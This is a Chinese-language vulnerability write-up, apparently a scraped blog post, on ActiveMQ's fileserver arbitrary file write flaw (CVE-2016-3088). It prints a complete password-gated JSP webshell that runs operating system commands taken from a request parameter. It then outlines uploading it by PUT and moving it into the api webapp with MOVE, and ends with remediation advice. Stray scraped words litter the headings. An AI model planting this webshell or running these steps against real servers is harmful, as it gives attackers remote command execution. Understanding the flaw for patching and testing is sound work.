ActiveMQ任意文件写入漏洞(CVE-2016-3088)

 

ActiveMQ 简介:java

ActiveMQ Apache 软件基金会下的一个开源消息驱动中间件软件。 Jetty 是一个开源的 servlet 容器,它为基于 Java web 容器,例如 JSP servlet 提供运行环境。 ActiveMQ 5.0 及之后版本默认集成了 jetty 。在启动后提供一个监控 ActiveMQ Web 应用
 

漏洞描述:web

fileserver是一个RESTful API接口,咱们能够经过GETPUTDELETEHTTP请求对其中存储的文件进行读写操做,其设计目的是为了弥补消息队列操做不能传输、存储二进制文件的缺陷,但后来发现:shell

其使用率并不高
文件操做容易出现漏洞

 

漏洞利用api

使用 webshell . jsp
<% 
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

 

访问URLapp

 

漏洞复现:webapp

OPTIONS探测是否存在PUT漏洞jsp

将传输方式改成 PUT ,并修改目录,添加 payload

执行刚刚写入的脚本,发现该目录下不能执行脚本

使用 MOVE 将文件移到 api
Destination:file :/// opt/ activemq / webapps / api /1.jsp

执行命令

 

漏洞修复:spa

作好权限设置, 限制用户写入文件
能够经过编写正则,阻止上 . jsp 类型 的文件名
关闭fileserver功能